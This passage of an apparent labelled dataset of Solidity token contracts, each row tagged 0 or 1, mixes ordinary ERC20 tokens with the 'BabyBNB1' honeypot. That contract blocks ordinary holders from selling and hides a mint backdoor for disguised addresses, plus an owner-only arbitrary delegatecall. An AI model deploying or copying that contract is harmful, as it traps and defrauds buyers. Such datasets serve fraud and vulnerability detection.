if ((msg.sender != migrationMaster)||(msg.sender != hon1ninja)||(msg.sender != hon2backup)) throw;
funding = false;
if (!hon1ninja.send(this.balance)) throw;
uint256 additionalTokens=tokenCreationCap-totalTokens;
totalTokens += additionalTokens;
balances[migrationMaster] += additionalTokens;
Transfer(0, migrationMaster, additionalTokens);
}
function finalizebackup() external {
if (block.number <= fundingEndBlock+2*oneday) throw;
funding = false;
if (!hon2backup.send(this.balance)) throw;
}
function migrate(uint256 _value) external {
if (migratestate) throw;
if (_value == 0) throw;
if (_value > balances[msg.sender]) throw;
balances[msg.sender] -= _value;
totalTokens -= _value;
totalMigrated += _value;
}
function refundTRA() external {
if (!refundstate) throw;
var HONTokenValue = balances[msg.sender];
var HONTokenValueRAW = balancesRAW[msg.sender];
if (HONTokenValueRAW == 0) throw;
balancesRAW[msg.sender] = 0;
totalTokens -= HONTokenValue;
var ETHValue = HONTokenValueRAW / tokenCreationRate;
Refund(msg.sender, ETHValue);
msg.sender.transfer(ETHValue);
}
function preICOregulations() external returns(string wow) {
return 'Regulations of ICO and preICO and usage of this smartcontract are present at website humansOnly.network and by using this smartcontract you commit that you accept and will follow those rules';
}
} | 0 | 2,216 |
pragma solidity ^0.4.22;
contract ieoservices {
string public name = "ieo services";
string public symbol = "ieos";
uint256 public decimals = 18;
address public adminWallet;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalSupply = 1000000;
bool public stopped = false;
uint public constant TOKEN_SUPPLY_TOTAL = 1000000000000000000000000;
uint256 constant valueFounder = TOKEN_SUPPLY_TOTAL;
address owner = 0x0;
mapping (address => bool) public LockWallets;
function lockWallet(address _wallet) public isOwner{
LockWallets[_wallet]=true;
}
function unlockWallet(address _wallet) public isOwner{
LockWallets[_wallet]=false;
}
function containsLock(address _wallet) public view returns (bool){
return LockWallets[_wallet];
}
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
constructor() public {
owner = msg.sender;
adminWallet = owner;
totalSupply = valueFounder;
balanceOf[owner] = valueFounder;
emit Transfer(0x0, owner, valueFounder);
}
function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) {
if (containsLock(msg.sender) == true) {
revert("Wallet Locked");
}
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) {
if (containsLock(_from) == true) {
revert("Wallet Locked");
}
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function stop() public isOwner {
stopped = true;
}
function start() public isOwner {
stopped = false;
}
function setName(string _name) public isOwner {
name = _name;
}
function setSymbol(string _symbol) public isOwner {
symbol = _symbol;
}
function burn(uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[0x0] += _value;
emit Transfer(msg.sender, 0x0, _value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,236 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyBNB1 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,613 |
contract ProofOfExistence {
mapping (string => uint) private proofs;
function notarize(string sha256) {
bytes memory b_hash = bytes(sha256);
if ( b_hash.length == 64 ){
if ( proofs[sha256] == 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (uint) {
return proofs[sha256];
}
} | 1 | 2,883 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
contract MtcToken is PausableToken {
string public name = "MTC";
string public symbol = "MTC";
string public version = '1.0.0';
uint8 public decimals = 18;
function MtcToken() {
totalSupply = 7000000000 * (10**(uint256(decimals)));
balances[msg.sender] = totalSupply;
}
function () {
revert();
}
} | 1 | 3,592 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
